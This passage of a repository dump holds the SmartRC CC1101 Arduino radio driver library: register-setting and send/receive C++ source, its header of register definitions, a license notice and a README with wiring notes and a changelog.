s2--;}\nelse{i=3;}\n}\ns1 *= 64;\ns2 *= 16;\nm4RxBw = s1 + s2;\nSpiWriteReg(16,m4RxBw+m4DaRa);\n}\n/****************************************************************\n*FUNCTION NAME:Set Data Rate\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setDRate(float d){\nSplit_MDMCFG4();\nfloat c = d;\nbyte MDMCFG3 = 0;\nif (c > 1621.83){c = 1621.83;}\nif (c < 0.0247955){c = 0.0247955;}\nm4DaRa = 0;\nfor (int i = 0; i<20; i++){\nif (c <= 0.0494942){\nc = c - 0.0247955;\nc = c / 0.00009685;\nMDMCFG3 = c;\nfloat s1 = (c - MDMCFG3) *10;\nif (s1 >= 5){MDMCFG3++;}\ni = 20;\n}else{\nm4DaRa++;\nc = c/2;\n}\n}\nSpiWriteReg(16,  m4RxBw+m4DaRa);\nSpiWriteReg(17,  MDMCFG3);\n}\n/****************************************************************\n*FUNCTION NAME:Set Devitation\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setDeviation(float d){\nfloat f = 1.586914;\nfloat v = 0.19836425;\nint c = 0;\nif (d > 380.859375){d = 380.859375;}\nif (d < 1.586914){d = 1.586914;}\nfor (int i = 0; i<255; i++){\nf+=v;\nif (c==7){v*=2;c=-1;i+=8;}\nif (f>=d){c=i;i=255;}\nc++;\n}\nSpiWriteReg(21,c);\n}\n/****************************************************************\n*FUNCTION NAME:Split PKTCTRL0\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::Split_PKTCTRL1(void){\nint calc = SpiReadStatus(7);\npc1PQT = 0;\npc1CRC_AF = 0;\npc1APP_ST = 0;\npc1ADRCHK = 0;\nfor (bool i = 0; i==0;){\nif (calc >= 32){calc-=32; pc1PQT+=32;}\nelse if (calc >= 8){calc-=8; pc1CRC_AF+=8;}\nelse if (calc >= 4){calc-=4; pc1APP_ST+=4;}\nelse {pc1ADRCHK = calc; i=1;}\n}\n}\n/****************************************************************\n*FUNCTION NAME:Split PKTCTRL0\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::Split_PKTCTRL0(void){\nint calc = SpiReadStatus(8);\npc0WDATA = 0;\npc0PktForm = 0;\npc0CRC_EN = 0;\npc0LenConf = 0;\nfor (bool i = 0; i==0;){\nif (calc >= 64){calc-=64; pc0WDATA+=64;}\nelse if (calc >= 16){calc-=16; pc0PktForm+=16;}\nelse if (calc >= 4){calc-=4; pc0CRC_EN+=4;}\nelse {pc0LenConf = calc; i=1;}\n}\n}\n/****************************************************************\n*FUNCTION NAME:Split MDMCFG1\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::Split_MDMCFG1(void){\nint calc = SpiReadStatus(19);\nm1FEC = 0;\nm1PRE = 0;\nm1CHSP = 0;\nint s2 = 0;\nfor (bool i = 0; i==0;){\nif (calc >= 128){calc-=128; m1FEC+=128;}\nelse if (calc >= 16){calc-=16; m1PRE+=16;}\nelse {m1CHSP = calc; i=1;}\n}\n}\n/****************************************************************\n*FUNCTION NAME:Split MDMCFG2\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::Split_MDMCFG2(void){\nint calc = SpiReadStatus(18);\nm2DCOFF = 0;\nm2MODFM = 0;\nm2MANCH = 0;\nm2SYNCM = 0;\nfor (bool i = 0; i==0;){\nif (calc >= 128){calc-=128; m2DCOFF+=128;}\nelse if (calc >= 16){calc-=16; m2MODFM+=16;}\nelse if (calc >= 8){calc-=8; m2MANCH+=8;}\nelse{m2SYNCM = calc; i=1;}\n}\n}\n/****************************************************************\n*FUNCTION NAME:Split MDMCFG4\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::Split_MDMCFG4(void){\nint calc = SpiReadStatus(16);\nm4RxBw = 0;\nm4DaRa = 0;\nfor (bool i = 0; i==0;){\nif (calc >= 64){calc-=64; m4RxBw+=64;}\nelse if (calc >= 16){calc -= 16; m4RxBw+=16;}\nelse{m4DaRa = calc; i=1;}\n}\n}\n/****************************************************************\n*FUNCTION NAME:RegConfigSettings\n*FUNCTION     :CC1101 register config //details refer datasheet of CC1101/CC1100//\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::RegConfigSettings(void) \n{   \n    SpiWriteReg(CC1101_FSCTRL1,  0x06);\n    \n    setCCMode(ccmode);\n    setMHZ(MHz);\n    \n    SpiWriteReg(CC1101_MDMCFG1,  0x02);\n    SpiWriteReg(CC1101_MDMCFG0,  0xF8);\n    SpiWriteReg(CC1101_CHANNR,   chan);\n    SpiWriteReg(CC1101_DEVIATN,  0x47);\n    SpiWriteReg(CC1101_FREND1,   0x56);\n    SpiWriteReg(CC1101_MCSM0 ,   0x18);\n    SpiWriteReg(CC1101_FOCCFG,   0x16);\n    SpiWriteReg(CC1101_BSCFG,    0x1C);\n    SpiWriteReg(CC1101_AGCCTRL2, 0xC7);\n    SpiWriteReg(CC1101_AGCCTRL1, 0x00);\n    SpiWriteReg(CC1101_AGCCTRL0, 0xB2);\n    SpiWriteReg(CC1101_FSCAL3,   0xE9);\n    SpiWriteReg(CC1101_FSCAL2,   0x2A);\n    SpiWriteReg(CC1101_FSCAL1,   0x00);\n    SpiWriteReg(CC1101_FSCAL0,   0x1F);\n    SpiWriteReg(CC1101_FSTEST,   0x59);\n    SpiWriteReg(CC1101_TEST2,    0x81);\n    SpiWriteReg(CC1101_TEST1,    0x35);\n    SpiWriteReg(CC1101_TEST0,    0x09);\n    SpiWriteReg(CC1101_PKTCTRL1, 0x04);\n    SpiWriteReg(CC1101_ADDR,     0x00);\n    SpiWriteReg(CC1101_PKTLEN,   0x00);\n}\n/****************************************************************\n*FUNCTION NAME:SetTx\n*FUNCTION     :set CC1101 send data\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SetTx(void)\n{\n  SpiStrobe(CC1101_SIDLE);\n  SpiStrobe(CC1101_STX);        //start send\n  trxstate=1;\n}\n/****************************************************************\n*FUNCTION NAME:SetRx\n*FUNCTION     :set CC1101 to receive state\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SetRx(void)\n{\n  SpiStrobe(CC1101_SIDLE);\n  SpiStrobe(CC1101_SRX);        //start receive\n  trxstate=2;\n}\n/****************************************************************\n*FUNCTION NAME:SetTx\n*FUNCTION     :set CC1101 send data and change frequency\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SetTx(float mhz)\n{\n  SpiStrobe(CC1101_SIDLE);\n  setMHZ(mhz);\n  SpiStrobe(CC1101_STX);        //start send\n  trxstate=1;\n}\n/****************************************************************\n*FUNCTION NAME:SetRx\n*FUNCTION     :set CC1101 to receive state and change frequency\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SetRx(float mhz)\n{\n  SpiStrobe(CC1101_SIDLE);\n  setMHZ(mhz);\n  SpiStrobe(CC1101_SRX);        //start receive\n  trxstate=2;\n}\n/****************************************************************\n*FUNCTION NAME:RSSI Level\n*FUNCTION     :Calculating the RSSI Level\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nint ELECHOUSE_CC1101::getRssi(void)\n{\nint rssi;\nrssi=SpiReadStatus(CC1101_RSSI);\nif (rssi >= 128){rssi = (rssi-256)/2-74;}\nelse{rssi = (rssi/2)-74;}\nreturn rssi;\n}\n/****************************************************************\n*FUNCTION NAME:LQI Level\n*FUNCTION     :get Lqi state\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nbyte ELECHOUSE_CC1101::getLqi(void)\n{\nbyte lqi;\nlqi=SpiReadStatus(CC1101_LQI);\nreturn lqi;\n}\n/****************************************************************\n*FUNCTION NAME:SetSres\n*FUNCTION     :Reset CC1101\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setSres(void)\n{\n  SpiStrobe(CC1101_SRES);\n  trxstate=0;\n}\n/****************************************************************\n*FUNCTION NAME:setSidle\n*FUNCTION     :set Rx / TX Off\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::setSidle(void)\n{\n  SpiStrobe(CC1101_SIDLE);\n  trxstate=0;\n}\n/****************************************************************\n*FUNCTION NAME:goSleep\n*FUNCTION     :set cc1101 Sleep on\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::goSleep(void){\n  trxstate=0;\n  SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit\n  SpiStrobe(0x39);//Enter power down mode when CSn goes high.\n}\n/****************************************************************\n*FUNCTION NAME:Char direct SendData\n*FUNCTION     :use CC1101 send data\n*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SendData(char *txchar)\n{\nint len = strlen(txchar);\nbyte chartobyte[len];\nfor (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}\nSendData(chartobyte,len);\n}\n/****************************************************************\n*FUNCTION NAME:SendData\n*FUNCTION     :use CC1101 send data\n*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size)\n{\n  SpiWriteReg(CC1101_TXFIFO,size);\n  SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size);      //write data to send\n  SpiStrobe(CC1101_SIDLE);\n  SpiStrobe(CC1101_STX);                  //start send\n    while (!digitalRead(GDO0));               // Wait for GDO0 to be set -> sync transmitted  \n    while (digitalRead(GDO0));                // Wait for GDO0 to be cleared -> end of packet\n  SpiStrobe(CC1101_SFTX);                 //flush TXfifo\n  trxstate=1;\n}\n/****************************************************************\n*FUNCTION NAME:Char direct SendData\n*FUNCTION     :use CC1101 send data without GDO\n*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SendData(char *txchar,int t)\n{\nint len = strlen(txchar);\nbyte chartobyte[len];\nfor (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}\nSendData(chartobyte,len,t);\n}\n/****************************************************************\n*FUNCTION NAME:SendData\n*FUNCTION     :use CC1101 send data without GDO\n*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61\n*OUTPUT       :none\n****************************************************************/\nvoid ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size,int t)\n{\n  SpiWriteReg(CC1101_TXFIFO,size);\n  SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size);      //write data to send\n  SpiStrobe(CC1101_SIDLE);\n  SpiStrobe(CC1101_STX);                  //start send\n  delay(t);\n  SpiStrobe(CC1101_SFTX);                 //flush TXfifo\n  trxstate=1;\n}\n/****************************************************************\n*FUNCTION NAME:Check CRC\n*FUNCTION     :none\n*INPUT        :none\n*OUTPUT       :none\n****************************************************************/\nbool ELECHOUSE_CC1101::CheckCRC(void){\nbyte lqi=SpiReadStatus(CC1101_LQI);\nbool crc_ok = bitRead(lqi,7);\nif (crc_ok == 1){\nreturn 1;\n}else{\nSpiStrobe(CC1101_SFRX);\nSpiStrobe(CC1101_SRX);\nreturn 0;\n}\n}\n/****************************************************************\n*FUNCTION NAME:CheckRxFifo\n*FUNCTION     :check receive data or not\n*INPUT        :none\n*OUTPUT       :flag: 0 no data; 1 receive data \n****************************************************************/\nbool ELECHOUSE_CC1101::CheckRxFifo(int t){\nif(trxstate!=2){SetRx();}\nif(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO){\ndelay(t);\nreturn 1;\n}else{\nreturn 0;\n}\n}\n/****************************************************************\n*FUNCTION NAME:CheckReceiveFlag\n*FUNCTION     :check receive data or not\n*INPUT        :none\n*OUTPUT       :flag: 0 no data; 1 receive data \n****************************************************************/\nbyte ELECHOUSE_CC1101::CheckReceiveFlag(void)\n{\n  if(trxstate!=2){SetRx();}\n\tif(digitalRead(GDO0))\t\t\t//receive data\n\t{\n\t\twhile (digitalRead(GDO0));\n\t\treturn 1;\n\t}\n\telse\t\t\t\t\t\t\t// no data\n\t{\n\t\treturn 0;\n\t}\n}\n/****************************************************************\n*FUNCTION NAME:ReceiveData\n*FUNCTION     :read data received from RXfifo\n*INPUT        :rxBuffer: buffer to store data\n*OUTPUT       :size of data received\n****************************************************************/\nbyte ELECHOUSE_CC1101::ReceiveData(byte *rxBuffer)\n{\n\tbyte size;\n\tbyte status[2];\n\n\tif(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO)\n\t{\n\t\tsize=SpiReadReg(CC1101_RXFIFO);\n\t\tSpiReadBurstReg(CC1101_RXFIFO,rxBuffer,size);\n\t\tSpiReadBurstReg(CC1101_RXFIFO,status,2);\n\t\tSpiStrobe(CC1101_SFRX);\n    SpiStrobe(CC1101_SRX);\n\t\treturn size;\n\t}\n\telse\n\t{\n\t\tSpiStrobe(CC1101_SFRX);\n    SpiStrobe(CC1101_SRX);\n \t\treturn 0;\n\t}\n}\nELECHOUSE_CC1101 ELECHOUSE_cc1101;\n"
  },
  {
    "path": "Bibliotecas/SmartRC-CC1101-Driver-Lib-master/ELECHOUSE_CC1101_SRC_DRV.h",
    "content": "/*\n  ELECHOUSE_CC1101.cpp - CC1101 module library\n  Copyright (c) 2010 Michael.\n    Author: Michael, <www.elechouse.com>\n    Version: November 12, 2010\n\n  This library is designed to use CC1101/CC1100 module on Arduino platform.\n  CC1101/CC1100 module is an useful wireless module.Using the functions of the \n  library, you can easily send and receive data by the CC1101/CC1100 module. \n  Just have fun!\n  For the details, please refer to the datasheet of CC1100/CC1101.\n----------------------------------------------------------------------------------------------------------------\ncc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).\n----------------------------------------------------------------------------------------------------------------\n*/\n#ifndef ELECHOUSE_CC1101_SRC_DRV_h\n#define ELECHOUSE_CC1101_SRC_DRV_h\n\n#include <Arduino.h>\n\n//***************************************CC1101 define**************************************************//\n// CC1101 CONFIG REGSITER\n#define CC1101_IOCFG2       0x00        // GDO2 output pin configuration\n#define CC1101_IOCFG1       0x01        // GDO1 output pin configuration\n#define CC1101_IOCFG0       0x02        // GDO0 output pin configuration\n#define CC1101_FIFOTHR      0x03        // RX FIFO and TX FIFO thresholds\n#define CC1101_SYNC1        0x04        // Sync word, high INT8U\n#define CC1101_SYNC0        0x05        // Sync word, low INT8U\n#define CC1101_PKTLEN       0x06        // Packet length\n#define CC1101_PKTCTRL1     0x07        // Packet automation control\n#define CC1101_PKTCTRL0     0x08        // Packet automation control\n#define CC1101_ADDR         0x09        // Device address\n#define CC1101_CHANNR       0x0A        // Channel number\n#define CC1101_FSCTRL1      0x0B        // Frequency synthesizer control\n#define CC1101_FSCTRL0      0x0C        // Frequency synthesizer control\n#define CC1101_FREQ2        0x0D        // Frequency control word, high INT8U\n#define CC1101_FREQ1        0x0E        // Frequency control word, middle INT8U\n#define CC1101_FREQ0        0x0F        // Frequency control word, low INT8U\n#define CC1101_MDMCFG4      0x10        // Modem configuration\n#define CC1101_MDMCFG3      0x11        // Modem configuration\n#define CC1101_MDMCFG2      0x12        // Modem configuration\n#define CC1101_MDMCFG1      0x13        // Modem configuration\n#define CC1101_MDMCFG0      0x14        // Modem configuration\n#define CC1101_DEVIATN      0x15        // Modem deviation setting\n#define CC1101_MCSM2        0x16        // Main Radio Control State Machine configuration\n#define CC1101_MCSM1        0x17        // Main Radio Control State Machine configuration\n#define CC1101_MCSM0        0x18        // Main Radio Control State Machine configuration\n#define CC1101_FOCCFG       0x19        // Frequency Offset Compensation configuration\n#define CC1101_BSCFG        0x1A        // Bit Synchronization configuration\n#define CC1101_AGCCTRL2     0x1B        // AGC control\n#define CC1101_AGCCTRL1     0x1C        // AGC control\n#define CC1101_AGCCTRL0     0x1D        // AGC control\n#define CC1101_WOREVT1      0x1E        // High INT8U Event 0 timeout\n#define CC1101_WOREVT0      0x1F        // Low INT8U Event 0 timeout\n#define CC1101_WORCTRL      0x20        // Wake On Radio control\n#define CC1101_FREND1       0x21        // Front end RX configuration\n#define CC1101_FREND0       0x22        // Front end TX configuration\n#define CC1101_FSCAL3       0x23        // Frequency synthesizer calibration\n#define CC1101_FSCAL2       0x24        // Frequency synthesizer calibration\n#define CC1101_FSCAL1       0x25        // Frequency synthesizer calibration\n#define CC1101_FSCAL0       0x26        // Frequency synthesizer calibration\n#define CC1101_RCCTRL1      0x27        // RC oscillator configuration\n#define CC1101_RCCTRL0      0x28        // RC oscillator configuration\n#define CC1101_FSTEST       0x29        // Frequency synthesizer calibration control\n#define CC1101_PTEST        0x2A        // Production test\n#define CC1101_AGCTEST      0x2B        // AGC test\n#define CC1101_TEST2        0x2C        // Various test settings\n#define CC1101_TEST1        0x2D        // Various test settings\n#define CC1101_TEST0        0x2E        // Various test settings\n\n//CC1101 Strobe commands\n#define CC1101_SRES         0x30        // Reset chip.\n#define CC1101_SFSTXON      0x31        // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1).\n                                        // If in RX/TX: Go to a wait state where only the synthesizer is\n                                        // running (for quick RX / TX turnaround).\n#define CC1101_SXOFF        0x32        // Turn off crystal oscillator.\n#define CC1101_SCAL         0x33        // Calibrate frequency synthesizer and turn it off\n                                        // (enables quick start).\n#define CC1101_SRX          0x34        // Enable RX. Perform calibration first if coming from IDLE and\n                                        // MCSM0.FS_AUTOCAL=1.\n#define CC1101_STX          0x35        // In IDLE state: Enable TX. Perform calibration first if\n                                        // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled:\n                                        // Only go to TX if channel is clear.\n#define CC1101_SIDLE        0x36        // Exit RX / TX, turn off frequency synthesizer and exit\n                                        // Wake-On-Radio mode if applicable.\n#define CC1101_SAFC         0x37        // Perform AFC adjustment of the frequency synthesizer\n#define CC1101_SWOR         0x38        // Start automatic RX polling sequence (Wake-on-Radio)\n#define CC1101_SPWD         0x39        // Enter power down mode when CSn goes high.\n#define CC1101_SFRX         0x3A        // Flush the RX FIFO buffer.\n#define CC1101_SFTX         0x3B        // Flush the TX FIFO buffer.\n#define CC1101_SWORRST      0x3C        // Reset real time clock.\n#define CC1101_SNOP         0x3D        // No operation. May be used to pad strobe commands to two\n                                        // INT8Us for simpler software.\n//CC1101 STATUS REGSITER\n#define CC1101_PARTNUM      0x30\n#define CC1101_VERSION      0x31\n#define CC1101_FREQEST      0x32\n#define CC1101_LQI          0x33\n#define CC1101_RSSI         0x34\n#define CC1101_MARCSTATE    0x35\n#define CC1101_WORTIME1     0x36\n#define CC1101_WORTIME0     0x37\n#define CC1101_PKTSTATUS    0x38\n#define CC1101_VCO_VC_DAC   0x39\n#define CC1101_TXBYTES      0x3A\n#define CC1101_RXBYTES      0x3B\n\n//CC1101 PATABLE,TXFIFO,RXFIFO\n#define CC1101_PATABLE      0x3E\n#define CC1101_TXFIFO       0x3F\n#define CC1101_RXFIFO       0x3F\n\n//************************************* class **************************************************//\nclass ELECHOUSE_CC1101\n{\nprivate:\n  void SpiStart(void);\n  void SpiEnd(void);\n  void GDO_Set (void);\n  void GDO0_Set (void);\n  void Reset (void);\n  void setSpi(void);\n  void RegConfigSettings(void);\n  void Calibrate(void);\n  void Split_PKTCTRL0(void);\n  void Split_PKTCTRL1(void);\n  void Split_MDMCFG1(void);\n  void Split_MDMCFG2(void);\n  void Split_MDMCFG4(void);\npublic:\n  void Init(void);\n  byte SpiReadStatus(byte addr);\n  void setSpiPin(byte sck, byte miso, byte mosi, byte ss);\n  void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul);\n  void setGDO(byte gdo0, byte gdo2);\n  void setGDO0(byte gdo0);\n  void addGDO(byte gdo0, byte gdo2, byte modul);\n  void addGDO0(byte gdo0, byte modul);\n  void setModul(byte modul);\n  void setCCMode(bool s);\n  void setModulation(byte m);\n  void setPA(int p);\n  void setMHZ(float mhz);\n  void setChannel(byte chnl);\n  void setChsp(float f);\n  void setRxBW(float f);\n  void setDRate(float d);\n  void setDeviation(float d);\n  void SetTx(void);\n  void SetRx(void);\n  void SetTx(float mhz);\n  void SetRx(float mhz);\n   int getRssi(void);\n  byte getLqi(void);\n  void setSres(void);\n  void setSidle(void);\n  void goSleep(void);\n  void SendData(byte *txBuffer, byte size);\n  void SendData(char *txchar);\n  void SendData(byte *txBuffer, byte size, int t);\n  void SendData(char *txchar, int t);\n  byte CheckReceiveFlag(void);\n  byte ReceiveData(byte *rxBuffer);\n  bool CheckCRC(void);\n  void SpiStrobe(byte strobe);\n  void SpiWriteReg(byte addr, byte value);\n  void SpiWriteBurstReg(byte addr, byte *buffer, byte num);\n  byte SpiReadReg(byte addr);\n  void SpiReadBurstReg(byte addr, byte *buffer, byte num);\n  void setClb(byte b, byte s, byte e);\n  bool getCC1101(void);\n  byte getMode(void);\n  void setSyncWord(byte sh, byte sl);\n  void setAddr(byte v);\n  void setWhiteData(bool v);\n  void setPktFormat(byte v);\n  void setCrc(bool v);\n  void setLengthConfig(byte v);\n  void setPacketLength(byte v);\n  void setDcFilterOff(bool v);\n  void setManchester(bool v);\n  void setSyncMode(byte v);\n  void setFEC(bool v);\n  void setPRE(byte v);\n  void setPQT(byte v);\n  void setCRC_AF(bool v);\n  void setAppendStatus(bool v);\n  void setAdrChk(byte v);\n  bool CheckRxFifo(int t);\n};\n\nextern ELECHOUSE_CC1101 ELECHOUSE_cc1101;\n\n#endif\n"
  },
  {
    "path": "Bibliotecas/SmartRC-CC1101-Driver-Lib-master/LICENSE.txt",
    "content": "----------------------------------------------------------------------------------------------------------------\ncc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).\n----------------------------------------------------------------------------------------------------------------\n\n\n  ELECHOUSE_CC1101.cpp - CC1101 module library\n  Copyright (c) 2010 Michael.\n    Author: Michael, <www.elechouse.com>\n    Version: November 12, 2010\n\n  This library is designed to use CC1101/CC1100 module on Arduino platform.\n  CC1101/CC1100 module is an useful wireless module.Using the functions of the \n  library, you can easily send and receive data by the CC1101/CC1100 module. \n  Just have fun!\n  For the details, please refer to the datasheet of CC1100/CC1101.\n\nnotes: \tThe whole stuff that is not directly related to Rc_Switch,\n\tNewRemoteSwitch or Elechouse_cc1101 Lib is Copyright (c) 2018 - 2020 by Little Satan.\n\tExample calculator codes in the driver lib.\n\tAnd so on...\n\tYou can freely use, edit or distribute it with reference to the source.\n\tFor everything else, the rights of the respective owners apply!"
  },
  {
    "path": "Bibliotecas/SmartRC-CC1101-Driver-Lib-master/README.md",
    "content": "﻿# SmartRC-CC1101-Driver-Lib_V2.5.7\n\n![GitHub (Pre-)Release Date](https://img.shields.io/github/release-date-pre/LSatan/SmartRC-CC1101-Driver-Lib)\n\nNote: Find out about the laws in your country.\nUse at your own risk.\n\nAttention! in version 2.5.7 there are changes for the internal transfer functions regarding the gdo pin assignment!\n\n---------------------------------------------\nAnnouncements / other\n---------------------------------------------\n\nattention: currently i can only answer questions very belatedly.\ntry to scour existing problems for a solution if possible.\nProblems that have not yet been closed are mostly already solved!\nthanks for your understanding\n\nFor debug and advanced functions: https://github.com/LSatan/CC1101-Debug-Service-Tool\n\nnew library Simu_Remote: https://github.com/LSatan/Simu_Remote_CC1101\n\n---------------------------------------------\nInstall:\n---------------------------------------------\n\nCan be downloaded directly from the Arduino library manager. Just search for cc1101.\n\n---------------------------------------------\nForeword:\n---------------------------------------------\nFirst of all, thanks to Elechouse that I can make the modified library accessible to everyone.\n\nLink: http://www.elechouse.com/elechouse/\n\n\n\nThe library has been redesigned and some improvements have been made.\n\nAmong other things, you can now also use the internal send / receive function.\n\nI would be happy to receive your suggestions for further examples from other libraries.\n\nAll examples included are listed in the next field.\n\n---------------------------------------------\nContaining examples:\n---------------------------------------------\n1.Elechouse CC1101:\n-\nDescription: CC1101 Internal send / receive examples. Supported modulations 2-FSK, GFSK, ASK/OOK, 4-FSK, MSK.\n\n2.Rc-Switch:\n-\n<p>Description: Arduino lib to operate 433/315Mhz devices like power outlet sockets.</p>\n<p>Link: https://github.com/sui77/rc-switch</p>\n\n3.NewRemoteswitch:\n-\n<p>Description: This library provides an easy class for Arduino, to send and receive signals used by some common \"new style\" 433MHz remote control switches.</p>\n<p>Link: https://github.com/1technophile/NewRemoteSwitch</p>\n\n4.RemoteSensor library:\n-\n<p>Description: This library provides an easy class for Arduino, to send and receive signals used by some common weather stations using -remote 433MHz sensors.</p>\n<p>Link: https://github.com/mattwire/arduino-dev/tree/master/libraries/RemoteSensor</p>\n\n5.ESPiLight:\n-\n<p>Description:This Arduino library is a port of the pilight 433.92MHz protocols to the Arduino platform. It was tested with a ESP8266. The aim is to transmit, receive and parse many 433.92MHz protocols, by providing a simple Arduino friendly API. This should help to implement IoT bridges between the 434MHz-RF band and internet protocols.</p>\n<p>Link:https://github.com/puuu/ESPiLight</p>\n\n---------------------------------------------\nInstructions / Description:\n---------------------------------------------\nThis driver library can be used for many libraries that use a simple RF ASK module,\nwith the advantages of the cc1101 module.It offers many direct setting options as in \nSmartRF Studio and calculates settings such as MHz directly.\n\nThe most important functions at a glance:\n\nELECHOUSE_cc1101.Init();\t\t//Initialize the cc1101. Must be set first!\n\nELECHOUSE_cc1101.setPA(PA);\t\t//Set transmission power.\n\nELECHOUSE_cc1101.setMHZ(MHZ);\t\t//Set the basic frequency.\n\nELECHOUSE_cc1101.SetTx();\t\t//Set transmit on. \n\nELECHOUSE_cc1101.SetTx(MHZ);\t\t//Sets transmit on and changes the frequency.\n\nELECHOUSE_cc1101.SetRX();\t\t//Set receive on.\n\nELECHOUSE_cc1101.SetRx(MHZ);\t\t//Sets receive on and changes the frequency.\n\nELECHOUSE_cc1101.setRxBW(RXBW);\t\t//Set Receive filter bandwidth\t\t\n\nELECHOUSE_cc1101.setGDO(GDO0, GDO2); \t//Set Gdo0 (tx) and Gdo2 (rx) for serial transmission function.\n\n\nELECHOUSE_cc1101.setSpiPin(SCK, MISO, MOSI, CSN); //custom SPI pins. Set your own Spi Pins.Or to switch between multiple cc1101. Must be set before init and before changing the cc1101.\n\nELECHOUSE_cc1101.setChannel(chnl); \t//Set Channel from 0 to 255. default = 0(basic frequency).\n\nELECHOUSE_cc1101.setClb(fband, cal1, cal2); //Optionally enter Offset Callibration. Requirements: Sketch Calibrate_frequency.ino below [CC1101-Debug-Service-Tool](https://github.com/LSatan/CC1101-Debug-Service-Tool/tree/master/Calibrate_frequency).A SDR receiver and SDR software.\n\nNew in V2.5.7\n\nELECHOUSE_cc1101.setGDO0(GDO0);         //Sets Gdo0 for internal transfer function.\n\nELECHOUSE_cc1101.addGDO0(GDO0, Modul);\t//Adds Gdo0 for internal transfer function (multiple cc1101).\n\nELECHOUSE_cc1101.addGDO(GDO0, GDO2, Modul);  //Adds Gdo0 (tx) and Gdo2 (rx) for serial transmission function (multiple cc1101).\n\nELECHOUSE_cc1101.addSpiPin(SCK, MISO, MOSI, CSN, Modul);  //Adds Spi Pins for multiple cc1101.\n\nELECHOUSE_cc1101.setModul(Modul);  //Switches between modules. from 0 to 5. So a maximum of 6.\n\n\nThe new features are not final and can be changed at any time.\n\nAll can also be used in a loop and are applied directly.\n\n---------------------------------------------\nWiring:\n---------------------------------------------\n\nNotes: A logic level converter is recommended for arduino. It also works well without. Use at your own risk.\n\n<img src=\"https://github.com/LSatan/SmartRC-CC1101-Driver-Lib/blob/master/img/Nano_CC1101.png\"/>\n\n<img src=\"https://github.com/LSatan/SmartRC-CC1101-Driver-Lib/blob/master/img/MEGA_CC1101.png\"/>\n\n<img src=\"https://github.com/LSatan/SmartRC-CC1101-Driver-Lib/blob/master/img/Esp8266_CC1101.png\"/>\n\n<img src=\"https://github.com/LSatan/SmartRC-CC1101-Driver-Lib/blob/master/img/Esp32_CC1101.png\"/>\n\n<img src=\"https://github.com/LSatan/SmartRC-CC1101-Driver-Lib/blob/master/img/TXS0108E_CC1101.png\"/>\n\n<img src=\"https://github.com/LSatan/SmartRC-CC1101-Driver-Lib/blob/master/img/Wiring_CC1101.png\"/>\n\n---------------------------------------------\nDonation\n---------------------------------------------\n\nIf you like the library, I would be happy about a star.\n\nyou can support me with a donation.\n\nhttps://www.paypal.me/LittleSatan666\n\nThank You!\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.5.7\n---------------------------------------------\n13.07.2021\n\nDriver Library\t\t:Fixed a bug when initalizing multiple cc1101\n\nDriver Library\t\t:new commandos for easy handling of multiple cc1101\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.5.6\n---------------------------------------------\n06.04.2021\n\nDriver Library\t\t:Add NUM_PREAMBLE. Sets the minimum number of preamble bytes to be transmitted.\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.5.5\n---------------------------------------------\n23.01.2021\n\nDriver Library\t\t:Error correction for CheckRxFifo and CheckReceiveFlag (reception internal CC1101 function).\n\n---------------------------------------------\nChangelog: SmartRC-CC1101-Driver-Lib_V2.5.4\n---------------------------------------------\n23.01.2021\n\nDriver Library\t\t:No big frequency jumps over SetRx(freq); Possible. Fixed! Big thanks to NorthernMan54 for testing!\n\nDriver Library\t\t:double-initaliesing option from V2.5.3 has been removed. Necessary for SetRx(freq); to 